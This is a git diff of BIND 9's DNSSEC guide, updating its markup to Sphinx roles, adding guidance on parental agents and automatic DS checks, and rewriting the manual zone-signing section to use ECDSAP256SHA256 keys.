-``rndc dnssec -checkds -key <id> withdrawn example.com`` to tell ``named`` that
+:option:`rndc dnssec -checkds -key id withdrawn example.com <rndc dnssec>` to tell :iscman:`named` that
 the DS is removed, and the remaining DNSSEC records will be removed in a timely
-manner.
+manner. Or, if parental agents are configured, the DNSSEC records will be
+automatically removed after BIND has seen that the parental agents no longer
+serve the DS RRset for this zone.
 
-After a while, your zone is reverted back to the traditional, insecure DNS
-format. You can verify by checking that all DNSKEY and RRSIG records have been
+After a while, the zone is reverted back to the traditional, insecure DNS
+format. This can be verified by checking that all DNSKEY and RRSIG records have been
 removed from the zone.
 
-You can then remove the ``dnssec-policy`` line from your ``named.conf`` and
-reload the zone. The zone will now no longer be subject to any DNSSEC
+The :any:`dnssec-policy` line can then be removed from :iscman:`named.conf` and
+the zone reloaded. The zone will no longer be subject to any DNSSEC
 maintenance.
diff --git a/doc/dnssec-guide/signing.rst b/doc/dnssec-guide/signing.rst
index 616983474d..b8f0ebaf54 100644
--- a/doc/dnssec-guide/signing.rst
+++ b/doc/dnssec-guide/signing.rst
@@ -1,12 +1,13 @@
-.. 
-   Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-   
-   This Source Code Form is subject to the terms of the Mozilla Public
-   License, v. 2.0. If a copy of the MPL was not distributed with this
-   file, you can obtain one at https://mozilla.org/MPL/2.0/.
-   
-   See the COPYRIGHT file distributed with this work for additional
-   information regarding copyright ownership.
+.. Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+..
+.. SPDX-License-Identifier: MPL-2.0
+..
+.. This Source Code Form is subject to the terms of the Mozilla Public
+.. License, v. 2.0.  If a copy of the MPL was not distributed with this
+.. file, you can obtain one at https://mozilla.org/MPL/2.0/.
+..
+.. See the COPYRIGHT file distributed with this work for additional
+.. information regarding copyright ownership.
 
 .. _dnssec_signing:
 
@@ -52,7 +53,7 @@ Enabling Automated DNSSEC Zone Maintenance and Key Generation
 ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
 
 To sign a zone, add the following statement to its
-``zone`` clause in the BIND 9 configuration file:
+:any:`zone` clause in the BIND 9 configuration file:
 
 ::
 
@@ -68,7 +69,7 @@ To sign a zone, add the following statement to its
        ...
    };
 
-The ``dnssec-policy`` statement causes the zone to be signed and turns
+The :any:`dnssec-policy` statement causes the zone to be signed and turns
 on automatic maintenance for the zone. This includes re-signing the zone
 as signatures expire and replacing keys on a periodic basis. The value
 ``default`` selects the default policy, which contains values suitable
@@ -76,8 +77,11 @@ for most situations. We cover the creation of a custom policy in
 :ref:`signing_custom_policy`, but for the moment we are accepting the
 default values.
 
-When the configuration file is updated, tell ``named`` to
-reload the configuration file by running ``rndc reconfig``:
+Using :any:`dnssec-policy` requires dynamic DNS or :any:`inline-signing`
+to be enabled.
+
+When the configuration file is updated, tell :iscman:`named` to
+reload the configuration file by running :option:`rndc reconfig`:
 
 ::
 
@@ -85,13 +89,13 @@ reload the configuration file by running ``rndc reconfig``:
 
 And that's it - BIND signs your zone.
 
-At this point, before you go away and merrily add ``dnssec-policy``
+At this point, before you go away and merrily add :any:`dnssec-policy`
 statements to all your zones, we should mention that, like a number of
 other BIND configuration options, its scope depends on where it is placed. In
-the example above, we placed it in a ``zone`` clause, so it applied only
-to the zone in question. If we had placed it in a ``view`` clause, it
+the example above, we placed it in a :any:`zone` clause, so it applied only
+to the zone in question. If we had placed it in a :any:`view` clause, it
 would have applied to all zones in the view; and if we had placed it in
-the ``options`` clause, it would have applied to all zones served by
+the :namedconf:ref:`options` clause, it would have applied to all zones served by
 this instance of BIND.
 
 .. _signing_verification:
@@ -115,7 +119,7 @@ in the published zone. The log file shows messages such as these:
 
 It then starts signing the zone. How long this process takes depends on the
 size of the zone, the speed of the server, and how much activity is
-taking place. We can check what is happening by using ``rndc``,
+taking place. We can check what is happening by using :iscman:`rndc`,
 entering the command:
 
 ::
@@ -137,13 +141,13 @@ and when it is finished:
 When the second message appears, the zone is signed.
 
 Before moving on to the next step of coordinating with the parent zone,
-let's make sure everything looks good using ``delv``. We want to
+let's make sure everything looks good using :iscman:`delv`. We want to
 simulate what a validating resolver will check, by telling
-``delv`` to use a specific trust anchor.
+:iscman:`delv` to use a specific trust anchor.
 
 First, we need to make a copy of the key created by BIND. This
-is in the directory you set with the ``directory`` statement in
-your configuration file's ``options`` clause, and is named something
+is in the directory you set with the :any:`directory` statement in
+your configuration file's :namedconf:ref:`options` clause, and is named something
 like ``Kexample.com.+013.10376.key``:
 
 ::
@@ -160,7 +164,7 @@ and comments omitted):
    ...
    example.com. 3600 IN DNSKEY 257 3 13 6saiq99qDB...dqp+o0dw==
 
-We want to edit the copy to be in the ``trust-anchors`` format, so that
+We want to edit the copy to be in the :any:`trust-anchors` format, so that
 it looks like this:
 
 ::
@@ -170,7 +174,7 @@ it looks like this:
        example.com. static-key 257 3 13 "6saiq99qDB...dqp+o0dw==";
    };
 
-Now we can run the ``delv`` command and instruct it to use this
+Now we can run the :iscman:`delv` command and instruct it to use this
 trusted-key file to validate the answer it receives from the
 authoritative name server 192.168.1.13:
 
@@ -240,7 +244,7 @@ correct format for their system.
       example.com. 3600 IN DNSKEY 257 3 13 6saiq99qDB...dqp+o0dw==
 
 The DS record format may be generated from the DNSKEY using the
-``dnssec-dsfromkey`` tool, which is covered in
+:iscman:`dnssec-dsfromkey` tool, which is covered in
 :ref:`parent_ds_record_format`. For more details and examples on how
 to work with your parent zone, please see
 :ref:`working_with_parent_zone`.
@@ -256,7 +260,7 @@ and published your DS record. Your zone is now officially
 DNSSEC-enabled. What happens next? That is basically it - BIND
 takes care of everything else. As for updating your zone file, you can
 continue to update it the same way as prior to signing your
-zone; the normal work flow of editing a zone file and using the ``rndc``
+zone; the normal work flow of editing a zone file and using the :iscman:`rndc`
 command to reload the zone still works as usual, and although you are
 editing the unsigned version of the zone, BIND generates the signed
 version automatically.
@@ -427,7 +431,7 @@ key, and we expect to see it returned when we query for it.
                    6saiq99qDBb5b4G4cx13cPjFTrIvUs3NW44SvbbHorHb
                    kXwOzeGAWyPORN+pwEV/LP9+FHAF/JzAJYdqp+o0dw==
                    ) ; KSK; alg = ECDSAP256SHA256 ; key id = 10376
-     
+
 
 .. _signing_verify_signature:
 
@@ -470,7 +474,7 @@ least one corresponding signature, known as an RRSIG.
                    oq4yBQumOhO5WX61LjA17l1DuLWcd/ASwlUZWFGCYQ== )
 
 The serial number was automatically incremented from the old, unsigned
-version. ``named`` keeps track of the serial number of the signed version of
+version. :iscman:`named` keeps track of the serial number of the signed version of
 the zone independently of the unsigned version. If the unsigned zone is
 updated with a new serial number that is higher than the one in the
 signed copy, then the signed copy is increased to match it;
@@ -481,7 +485,7 @@ otherwise, the two are kept separate.
 Examine the Zone File
 ^^^^^^^^^^^^^^^^^^^^^
 
-Our original zone file ``example.com.db`` remains untouched, and ``named`` has
+Our original zone file ``example.com.db`` remains untouched, and :iscman:`named` has
 generated three additional files automatically for us (shown below). The
 signed DNS data is stored in ``example.com.db.signed`` and in the
 associated journal file.
@@ -494,14 +498,14 @@ associated journal file.
 
 A quick description of each of the files:
 
--  ``.jbk``: a transient file used by ``named``
+-  ``.jbk``: a transient file used by :iscman:`named`
 
 -  ``.signed``: the signed version of the zone in raw format
 
 -  ``.signed.jnl``: a journal file for the signed version of the zone
 
 These files are stored in raw (binary) format for faster loading. To
-reveal the human-readable version, use ``named-compilezone``
+reveal the human-readable version, use :iscman:`named-compilezone`
 as shown below. In the example below, we run the command on the
 raw format zone ``example.com.db.signed`` to produce a text version of
 the zone ``example.com.text``:
@@ -636,13 +640,10 @@ That is quite complex, and it is all handled in BIND 9 with the single
 setting up our own DNSSEC policy with customized parameters. However, in many
 cases the defaults are adequate.
 
-At the time of this writing (mid-2020), ``dnssec-policy`` is still a
-relatively new feature in BIND. Although it is the preferred
-way to run DNSSEC in a zone, it is not yet able to automatically implement
-all the features that are available
-with a more "hands-on" approach to signing and key maintenance. For this
-reason, we cover alternative signing techniques in
-:ref:`signing_alternative_ways`.
+:any:`dnssec-policy` is the preferred way to run DNSSEC in a zone, but sometimes
+a more "hands-on" approach to signing and key maintenance is needed. For this
+reason, we cover manual signing techniques in
+:ref:`advanced_discussions_manual_signing`.
 
 .. _working_with_parent_zone:
 
@@ -661,7 +662,7 @@ Check with your parent zone to see which format they require.
 
 But how can you get each of the formats from your existing data?
 
-When ``named`` turned on automatic
+When :iscman:`named` turned on automatic
 DNSSEC maintenance, essentially the first thing it did was to create
 the DNSSEC keys and put them in the directory you specified in the
 configuration file. If you look in that directory, you will see three
@@ -728,7 +729,7 @@ you are not already familiar with DNSSEC, it may be worth reading that chapter
 first.
 
 Setting up your own DNSSEC policy means that you must include a
-``dnssec-policy`` clause in the zone file. This sets values for the
+:any:`dnssec-policy` clause in the zone file. This sets values for the
 various parameters that affect the signing of zones and the rolling of
 keys. The following is an example of such a clause:
 
@@ -754,16 +755,17 @@ keys. The following is an example of such a clause:
 The policy has multiple parts:
 
 -  The name must be specified. As each zone can use a different policy,
-   ``named`` needs to be able to distinguish between policies. This is
+   :iscman:`named` needs to be able to distinguish between policies. This is
    done by giving each policy a name, such as ``standard`` in the above
    example.
 
--  The ``keys`` clause lists all keys that should be in the zone, along
+-  The :any:`keys` clause lists all keys that should be in the zone, along
    with their associated parameters. In this example, we are using the
    conventional KSK/ZSK split, with the KSK changed every year and the
-   ZSK changed every two months. We have used one of the two mandatory
-   algorithms for the keys. (The ``default`` DNSSEC policy sets a CSK
-   that is never changed.)
+   ZSK changed every two months (the ``default`` DNSSEC policy sets a
+   CSK that is never changed). Keys are created using the
+   ECDSAPS256SHA256 algorithm; each KSK/ZSK pair must have the same
+   algorithm. A CSK combines the functionality of a ZSK and a KSK.
 
 -  The parameters ending in ``-ttl`` are, as expected, the TTLs of the
    associated records. Remember that during a key rollover,
@@ -785,15 +787,15 @@ The policy has multiple parts:
 
 -  The parameters ending in ``-safety`` are there to give
    you a bit of leeway in case a key roll doesn't go to plan. When
-   introduced into the zone, the ``publish-safety`` time is the amount
+   introduced into the zone, the :any:`publish-safety` time is the amount
    of additional time, over and above that calculated from the other
    parameters, during which the new key is in the zone but before BIND starts
-   to sign records with it. Similarly, the ``retire-safety`` is the
+   to sign records with it. Similarly, the :any:`retire-safety` is the
    amount of additional time, over and above that calculated from the
    other parameters, during which the old key is retained in the zone before
    being removed.
 
--  Finally, the ``purge-keys`` option allows you to clean up key files
+-  Finally, the :any:`purge-keys` option allows you to clean up key files
    automatically after a period of time. If a key has been removed from the
    zone, this option will determine how long its key files will be retained
    on disk.
@@ -809,12 +811,12 @@ is to have a quick key roll but have users get validation failures
 during the process.
 
 Having defined a new policy called "standard", we now need to tell
-``named`` to use it. We do this by adding a ``dnssec-policy standard;``
+:iscman:`named` to use it. We do this by adding a ``dnssec-policy standard;``
 statement to the configuration file. Like many other configuration
-statements, it can be placed in the ``options`` statement (thus applying
-to all zones on the server), a ``view`` statement (applying to all zones
-in the view), or a ``zone`` statement (applying only to that zone). In
-this example, we'll add it to the ``zone`` statement:
+statements, it can be placed in the :namedconf:ref:`options` statement (thus applying
+to all zones on the server), a :any:`view` statement (applying to all zones
+in the view), or a :any:`zone` statement (applying only to that zone). In
+this example, we'll add it to the :any:`zone` statement:
 
 ::
 
@@ -824,13 +826,13 @@ this example, we'll add it to the ``zone`` statement:
        ...
    };
 
-Finally, tell ``named`` to use the new policy:
+Finally, tell :iscman:`named` to use the new policy:
 
 ::
 
    # rndc reconfig
 
-... and that's it. ``named`` now applies the "standard" policy to
+... and that's it. :iscman:`named` now applies the "standard" policy to
 your zone.
 
 .. _signing_maintenance_tasks:
@@ -888,21 +890,54 @@ you may not even have to do that [#]_.
 When the time approaches for the roll of a KSK or CSK, BIND adds a
 CDS and a CDNSKEY record for the key in question to the apex of the
 zone. If your parent zone supports polling for CDS/CDNSKEY records, they
-are uploaded and the DS record published in the parent - at least ideally. At
-the time of this writing (mid-2020) BIND does not check for the presence of a
-DS record in the parent zone before completing the KSK or CSK rollover
-and withdrawing the old key. Instead, you need to use the ``rndc`` tool
-to tell ``named`` that the DS record has been published. For example:
+are uploaded and the DS record published in the parent - at least ideally.
+
+If BIND is configured with :any:`parental-agents`, it will check for the DS
+presence. Let's look at the following configuration excerpt:
+
+::
+
+   parental-agents "net" {
+       10.53.0.11; 10.53.0.12;
+   };
+
+   zone "example.net" in {
+       ...
+       dnssec-policy standard;
+       parental-agents { "net"; };
+       checkds explicit;
+       ...
+   };
+
+BIND will check for the presence of the DS record in the parent zone by querying
+its parental agents (defined in :rfc:`7344` to be the entities that the child
+zone has a relationship with to change its delegation information). In the
+example above, The zone `example.net` is configured with two parental agents,
+at the addresses 10.53.0.11 and 10.53.0.12. These addresses are used as an
+example only. Both addresses will have to respond with a DS RRset that
+includes the DS record identifying the key that is being rolled. If one or
+both don't have the DS included yet the rollover is paused, and the check for
+DS presence is retried after an hour. The same applies for DS withdrawal.
+
+The example also has :any:`checkds` set to `explicit`. This means that only
+the addresses defined in :any:`parental-agents` are being queried. If set to
+`yes`, the parental agents are being looked up by querying for the parent NS
+records.
+
+Alternatively, you can use the :iscman:`rndc` tool to tell :iscman:`named` that the DS
+record has been published or withdrawn. For example:
 
 ::
 
    # rndc dnssec -checkds published example.net
 
+This command should also be used when :any:`checkds` is set to `no`.
+
 If your parent zone doesn't support CDS/CDNSKEY, you will have to supply
 the DNSKEY or DS record to the parent zone manually when a new KSK appears in
 your zone, presumably using the same mechanism you used to upload the
-records for the first time. Again, you need to use the ``rndc`` tool
-to tell ``named`` that the DS record has been published.
+records for the first time. Again, you need to use the :iscman:`rndc` tool
+to tell :iscman:`named` that the DS record has been published.
 
 .. [#]
    For security reasons, a parent zone that supports CDS/CDNSKEY may require
@@ -911,261 +946,164 @@ to tell ``named`` that the DS record has been published.
    record it finds by querying our zone really comes from our zone; thus, it
    needs to use some other form of secure transfer to obtain the information.
 
-.. _signing_alternative_ways:
-
-Alternate Ways of Signing a Zone
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-
-Although use of the automatic ``dnssec-policy`` is the preferred way to sign zones in
-BIND, there are occasions where a more manual approach may be
-needed, such as when external hardware is used to
-generate and sign the zone. ``dnssec-policy`` does not currently support
-the use of external hardware, so if your security policy requires it, you
-need to use one of the methods described here.
-
-The idea of DNSSEC was first discussed in the 1990s and has been
-extensively developed over the intervening years. BIND has tracked the
-development of this technology, often being the first name server
-implementation to introduce new features. However, for compatibility reasons, BIND
-retained older ways of doing things even when new ways were added. This
-particularly applies to signing and maintaining zones, where different
-levels of automation are available.
-
-The following is a list of the available methods of signing in BIND, in the
-order that they were introduced - and in order of decreasing
-complexity.
-
-Manual
-   "Manual" signing was the first method to be introduced into BIND and
-   its name describes it perfectly: the user needs to do everything. In the
-   more-automated methods, you load an unsigned zone file into
-   ``named``, which takes care of signing it. With manual signing, you
-   have to provide a signed zone for ``named`` to serve.
-
-   In practice, this means creating an unsigned zone file as usual, then
-   using the BIND-provided tools ``dnssec-keygen`` to create the keys
-   and ``dnssec-signzone`` to sign the zone. The signed zone is stored
-   in another file and is the one you tell BIND to load. To
-   update the zone (for example, to add a resource record), you update the
-   unsigned zone, re-sign it, and tell ``named`` to load the updated
-   signed copy. The same goes for refreshing signatures or rolling keys;
-   the user is responsible for providing the signed zone served by
-   ``named``. (In the case of rolling keys, you are also responsible for
-   ensuring that the keys are added and removed at the correct times.)
-
-   Why would you want to sign your zone this way? You probably
-   wouldn't in the normal course of events, but as there may be
-   circumstances in which it is required, the scripts have been left in
-   the BIND distribution.
-
-Semi-Automatic
-   The first step in DNSSEC automation came with BIND 9.7, when the
-   ``auto-dnssec`` option was added. This causes ``named`` to
-   periodically search the directory holding the key files (see
-   :ref:`generate_keys` for a description) and to
-   use the information in them to both add and remove keys and sign the
-   zone.
+.. _advanced_discussions_manual_signing:
 
-   Use of ``auto-dnssec`` alone requires that the zone be dynamic,
-   something not suitable for a number of situations, so BIND 9.9 added the
-   ``inline-signing`` option. With this, ``named`` essentially keeps the
-   signed and unsigned copies of the zone separate. The signed zone is
-   created from the unsigned one using the key information; when the
-   unsigned zone is updated and the zone reloaded, ``named`` detects the
-   changes and updates the signed copy of the zone.
-
-   This mode of signing has been termed "semi-automatic" in this
-   document because keys still have to be manually created (and deleted
-   when appropriate). Although not an onerous task, it is still
-   additional work.
-
-   Why would anyone want to use this
-   method when fully automated ones are available? At the time of
-   this writing (mid-2020), the fully automatic methods cannot handle all scenarios,
-   particularly that of having a single key shared among multiple
-   zones. They also do not handle keys stored in Hardware Security
-   Modules (HSMs), which are briefly covered in
-   :ref:`hardware_security_modules`.
-
-Fully Automatic with ``dnssec-keymgr``
-   The next step in the automation of DNSSEC operations came with BIND
-   9.11, which introduced the ``dnssec-keymgr`` utility. This is a
-   separate program and is expected to be run on a regular basis
-   (probably via ``cron``). It reads a DNSSEC policy from its
-   configuration file and reads timing information from the DNSSEC key
-   files. With this information it creates new key files with timing
-   information in them consistent with the policy. ``named`` is run as
-   usual, picking up the timing information in the key files to
-   determine when to add and remove keys, and when to sign with them.
-
-   In BIND 9.17.0 and later, this method of handling DNSSEC
-   policies has been replaced by the ``dnssec-policy`` statement in the
-   configuration file.
-
-Fully Automatic with ``dnssec-policy``
-   Introduced a BIND 9.16, ``dnssec-policy`` replaces ``dnssec-keymgr`` from BIND
-   9.17 onwards and avoids the need to run a separate program. It also
-   handles the creation of keys if a zone is added (``dnssec-keymgr``
-   requires an initial key) and deletes old key files as they are
-   removed from the zone. This is the method described in
-   :ref:`easy_start_guide_for_authoritative_servers`.
-
-We now look at some of these methods in more detail. We cover
-semi-automatic signing first, as that contains a lot of useful
-information about keys and key timings. We then describe what
-``dnssec-keymgr`` adds to semi-automatic signing. After that, we
-touch on fully automatic signing with ``dnssec-policy``. Since this has
-already been described in
-:ref:`easy_start_guide_for_authoritative_servers`, we will just
-mention a few additional points. Finally, we briefly describe manual signing.
-
-.. _semi_automatic_signing:
-
-Semi-Automatic Signing
-^^^^^^^^^^^^^^^^^^^^^^
+Manual Signing
+~~~~~~~~~~~~~~
 
-As noted above, the term semi-automatic signing has been used in this
-document to indicate the mode of signing enabled by the ``auto-dnssec``
-and ``inline-signing`` keywords. ``named`` signs the zone without any
-manual intervention, based purely on the timing information in the
-DNSSEC key files. The files, however, must be created manually.
-
-By appropriately setting the key parameters and the timing information
-in the key files, you can implement any DNSSEC policy you want for your
-zones. But why manipulate the key information yourself rather than rely
-on ``dnssec-keymgr`` or ``dnssec-policy`` to do it for you? The answer
-is that semi-automatic signing allows you to do things that, at the time of this writing
-(mid-2020), are currently not possible with one of the key managers: for
-example, the ability to use an HSM to store keys, or the ability to use
-the same key for multiple zones.
-
-To convert a traditional
-(insecure) DNS zone to a secure one, we need to create various
-additional records (DNSKEY, RRSIG, NSEC/NSEC3) and, as with
+Manual signing of a zone was the first method of signing introduced into
+BIND and offers, as the name suggests, no automation. The user must
+handle everything: create the keys, sign the zone file with them, load
+the signed zone, periodically re-sign the zone, and manage key rolls,
+including interaction with the parent. A user certainly can do all this,
+but why not use one of the automated methods?
+
+Although use of the automatic :any:`dnssec-policy` is the preferred way to
+sign zones in BIND, there are occasions where a manual approach may be needed.
+:any:`dnssec-policy` does not currently support the use of external hardware,
+so if your security policy requires it, you need to use manual signing.
+
+BIND 9 ships with several tools that are used in this process, which are
+explained in more detail below. In all cases, the ``-h`` option prints a full
+list of parameters. Note that the DNSSEC tools require the keyset files to be
+in the working directory or the directory specified by the ``-d`` option.
+
+To convert a traditional (insecure) DNS zone to a secure one, we need to
+create various additional records (DNSKEY, RRSIG, NSEC/NSEC3) and, as with
 fully automatic signing, to upload verifiable information (such as a DS
 record) to the parent zone to complete the chain of trust.
 
+The first step is to create the keys as described in
+:ref:`manual_signing_generate_keys`, then using the BIND-provided tools
+:iscman:`dnssec-keygen` to create the keys and
+:iscman:`dnssec-signzone` to sign the zone. The signed zone is stored in
+another file and is the one you tell BIND to load. To update the zone (for
+example, to add a resource record), you update the unsigned zone, re-sign it,
+and tell :iscman:`named` to load the updated signed copy. The same goes for
+refreshing signatures or rolling keys; the user is responsible for providing
+the signed zone served by :iscman:`named`. (In the case of rolling keys, you
+are also responsible for ensuring that the keys are added and removed at the
+correct times.)
+
+Why would you want to sign your zone this way? You probably wouldn't in the
+normal course of events, but as there may be circumstances in which it is
+required, the scripts have been left in the BIND distribution.
+
 .. note::
 
-   Again, we assume all configuration files, key
-   files, and zone files are stored in ``/etc/bind``, and most examples
-   show commands run
-   as the root user. This may not be ideal, but the point is not
-   to distract from what is important here: learning how to sign
-   a zone. There are many best practices for deploying a more secure
-   BIND installation, with techniques such as jailed process and
-   restricted user privileges, but those are not covered
-   in this document. We trust you, a responsible DNS
-   administrator, to take the necessary precautions to secure your
-   system.
-   
-   For our examples below, we work with the assumption that
-   there is an existing insecure zone ``example.com`` that we are
-   converting to a secure version. The secure version uses both a KSK
-   and a ZSK.
+   Again, we assume all configuration files, key files, and zone files are
+   stored in ``/etc/bind``, and most examples show commands run as the root
+   user. This may not be ideal, but the point is not to distract from what is
+   important here: learning how to sign a zone. There are many best practices
+   for deploying a more secure BIND installation, with techniques such as
+   jailed process and restricted user privileges, but those are not covered
+   in this document. We trust you, a responsible DNS administrator, to take
+   the necessary precautions to secure your system.
+
+   For our examples below, we work with the assumption that there is an
+   existing insecure zone ``example.com`` that we are converting to a secure
+   version. The secure version uses both a KSK and a ZSK.
 
-.. _generate_keys:
+.. _manual_signing_generate_keys:
 
 Generate Keys
-+++++++++++++
+^^^^^^^^^^^^^
 
-Everything in DNSSEC centers around keys, so we begin by
-generating our own keys.
+Everything in DNSSEC centers around keys, so we begin by generating our own
+keys.
 
-::
+.. code-block:: console
 
-   # cd /etc/bind
-   # dnssec-keygen -a RSASHA256 -b 1024 example.com
-   Generating key pair...........................+++++ ......................+++++ 
-   Kexample.com.+008+34371
-   # dnssec-keygen -a RSASHA256 -b 2048 -f KSK example.com
-   Generating key pair........................+++ ..................................+++ 
-   Kexample.com.+008+00472
+   # cd /etc/bind/keys
+   # dnssec-keygen -a ECDSAP256SHA256 example.com
+   Generating key pair...........................+++++ ......................+++++
+   Kexample.com.+013+34371
+   # dnssec-keygen -a ECDSAP256SHA256 -f KSK example.com
+   Generating key pair........................+++ ..................................+++
+   Kexample.com.+013+00472
 
 This command generates four key files in ``/etc/bind/keys``:
 
--  Kexample.com.+008+34371.key
+-  Kexample.com.+013+34371.key
 
--  Kexample.com.+008+34371.private
+-  Kexample.com.+013+34371.private
 
--  Kexample.com.+008+00472.key
+-  Kexample.com.+013+00472.key
 
--  Kexample.com.+008+00472.private
+-  Kexample.com.+013+00472.private
 
 The two files ending in ``.key`` are the public keys. These contain the
 DNSKEY resource records that appear in the zone. The two files
 ending in ``.private`` are the private keys, and contain the information
-that ``named`` actually uses to sign the zone.
+that :iscman:`named` actually uses to sign the zone.
 
 Of the two pairs, one is the zone-signing key (ZSK), and one is the
 key-signing key (KSK). We can tell which is which by looking at the file
 contents (the actual keys are shortened here for ease of display):
 
-::
+.. code-block:: console
 
-   # cat Kexample.com.+008+34371.key
+   # cat Kexample.com.+013+34371.key
    ; This is a zone-signing key, keyid 34371, for example.com.
    ; Created: 20200616104249 (Tue Jun 16 11:42:49 2020)
    ; Publish: 20200616104249 (Tue Jun 16 11:42:49 2020)
    ; Activate: 20200616104249 (Tue Jun 16 11:42:49 2020)
-   example.com. IN DNSKEY 256 3 8 AwEAAfel66...LqkA7cvn8=
-   # cat Kexample.com.+008+00472.key
+   example.com. IN DNSKEY 256 3 13 AwEAAfel66...LqkA7cvn8=
+   # cat Kexample.com.+013+00472.key
    ; This is a key-signing key, keyid 472, for example.com.
    ; Created: 20200616104254 (Tue Jun 16 11:42:54 2020)
    ; Publish: 20200616104254 (Tue Jun 16 11:42:54 2020)
    ; Activate: 20200616104254 (Tue Jun 16 11:42:54 2020)
-   example.com. IN DNSKEY 257 3 8 AwEAAbCR6U...l8xPjokVU=
+   example.com. IN DNSKEY 257 3 13 AwEAAbCR6U...l8xPjokVU=
 
 The first line of each file tells us what type of key it is. Also, by
 looking at the actual DNSKEY record, we can tell them apart: 256 is
 ZSK, and 257 is KSK.
 
 The name of the file also tells us something
-about the contents. The file names are of the form:
+about the contents. See chapter :ref:`zone_keys` for more details.
 
-::
+Make sure that these files are readable by :iscman:`named` and that the
+``.private`` files are not readable by anyone else.
 
-   K<zone-name>+<algorithm-id>+<keyid>
+Alternativelly, the :iscman:`dnssec-keyfromlabel` program is used to get a key
+pair from a crypto hardware device and build the key files. Its usage is
+similar to :iscman:`dnssec-keygen`.
 
-The "zone name" is self-explanatory. The "algorithm ID" is a number assigned
-to the algorithm used to construct the key: the number appears in the
-DNSKEY resource record. In
-our example, 8 means the algorithm RSASHA256. Finally, the "keyid" is
-essentially a hash of the key itself.
+.. _manual_signing_key_timing_information:
 
-Make sure these files are readable by ``named`` and make sure that the
-``.private`` files are not readable by anyone else.
+Setting Key Timing Information
+^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
 
-Refer to :ref:`system_entropy` for information on how to
-speed up the key generation process if your random number generator has
-insufficient entropy.
+Key files contain time information related to rolling keys. This is placed
+there by :iscman:`dnssec-keygen` when the file is created, and it can be
+modified using :iscman:`dnssec-settime`. By default, only a limited amount of
+timing information is included in the file, as illustrated in the examples in
+the previous section.
 
-Setting Key Timing Information
-++++++++++++++++++++++++++++++
+Note that :any:`dnssec-policy` does set key timing information, but it uses its
+own state machine to determine what actions to perform.
 
-You may remember that in the above description of this method, we said
-that time information related to rolling keys is stored in the key
-files. This is placed there by ``dnssec-keygen`` when the file is
-created, and it can be modified using ``dnssec-settime``. By default,
-only a limited amount of timing information is included in the file, as
-illustrated in the examples in the previous section.
+But when performing manual signing the key parameters and the timing
+information in the key files, you can implement any DNSSEC policy you want for
+your zones.
 
 All the dates are the same, and are the date and time that
-``dnssec-keygen`` created the key. We can use ``dnssec-settime`` to
+:iscman:`dnssec-keygen` created the key. We can use :iscman:`dnssec-settime` to
 modify the dates [#]_. For example, to publish this key in
 the zone on 1 July 2020, use it to sign records for a year starting on
 15 July 2020, and remove it from the zone at the end of July 2021, we
 can use the following command:
 
-::
+.. code-block:: console
 
-   # dnssec-settime -P 20200701 -A 20200715 -I 20210715 -D 20210731 Kexample.com.+008+34371.key
-   ./Kexample.com.+008+34371.key
-   ./Kexample.com.+008+34371.private
+   # dnssec-settime -P 20200701 -A 20200715 -I 20210715 -D 20210731 Kexample.com.+013+34371.key
+   ./Kexample.com.+013+34371.key
+   ./Kexample.com.+013+34371.private
 
 which would set the contents of the key file to:
 
-::
+.. code-block:: none
 
    ; This is a zone-signing key, keyid 34371, for example.com.
    ; Created: 20200616104249 (Tue Jun 16 11:42:49 2020)
@@ -1173,7 +1111,7 @@ which would set the contents of the key file to:
    ; Activate: 20200715000000 (Wed Jul 15 01:00:00 2020)
    ; Inactive: 20210715000000 (Thu Jul 15 01:00:00 2021)
    ; Delete: 20210731000000 (Sat Jul 31 01:00:00 2021)
-   example.com. IN DNSKEY 256 3 8 AwEAAfel66...LqkA7cvn8=
+   example.com. IN DNSKEY 256 3 13 AwEAAfel66...LqkA7cvn8=
 
 (The actual key is truncated here to improve readability.)
 
@@ -1190,12 +1128,12 @@ one affects the signing of your zone:
    copy of the new key in their cache before there are any resource
    records signed with it. By default, if not specified at creation
    time, this is set to the current time, meaning the key is
-   published as soon as ``named`` picks it up.
+   published as soon as :iscman:`named` picks it up.
 
 3. *Activate*: This sets the date on which the key is to be activated. After
    that date, resource records are signed with the key. By default,
    if not specified during creation time, this is set to the current
-   time, meaning the key is used to sign data as soon as ``named``
+   time, meaning the key is used to sign data as soon as :iscman:`named`
    picks it up.
 
 4. *Revoke:* This sets the date on which the key is to be revoked. After that
@@ -1245,350 +1183,139 @@ This can be summarized as follows:
    |          |                  |                  | from a zone      |
    +----------+------------------+------------------+------------------+
 
-The publication date is the date the key is introduced into the zone.
-Sometime later it is activated and is used to sign resource records.
-After a specified period, BIND stops using it to sign records, and at some
-other specified later time it is removed from the zone.
+The publication date is the date the key should be introduced into the zone.
+The activation date can be used to determine when to sign resource records.
+With "Inactive" you signal when the signer should stop generating new
+signatures with the given key, and the "Delete" metadata specifies when the key
+should be removed from the zone.
 
-Finally, we should note that the ``dnssec-keygen`` command supports the
+Finally, we should note that the :iscman:`dnssec-keygen` command supports the
 same set of switches so we could have set the dates
 when we created the key.
 
-.. _semi_automatic_signing_reconfigure_bind:
-
-Reconfiguring BIND
-++++++++++++++++++
-
-Having created the keys with the appropriate timing information, the
-next step is to turn on DNSSEC signing. Below is a very simple
-``named.conf``; in our example environment, this file is
-``/etc/bind/named.conf``.
-
-::
-
-   options {
-       directory "/etc/bind";
-       recursion no;
-       minimal-responses yes;
-   };
-
-   zone "example.com" IN {
-       type primary;
-       file "example.com.db";
-       auto-dnssec maintain;
-       inline-signing yes;
-   };
-
-Once the configuration file is updated, tell ``named`` to
-reload:
-
-::
-
-   # rndc reload
-   server reload successful
-
-.. _semi_automated_signing_verification:
-
-Verifying That the Zone Is Signed Correctly
-+++++++++++++++++++++++++++++++++++++++++++
-
-You should now check that the zone is signed. Follow the steps in
-:ref:`signing_verification`.
-
-.. _semi_automatic_signing_upload_ds:
-
-Uploading the DS Record to the Parent
-+++++++++++++++++++++++++++++++++++++
-
-As described in :ref:`signing_easy_start_upload_to_parent_zone`, we
-must now upload the new information to the parent zone. The format of the
-information and how to generate it is described in
-:ref:`working_with_parent_zone`, although it is important to remember that you must
-use the contents of the KSK file that you generated above as part of the
-process.
-
-When the DS record is published in the parent zone, your zone is fully
-signed.
-
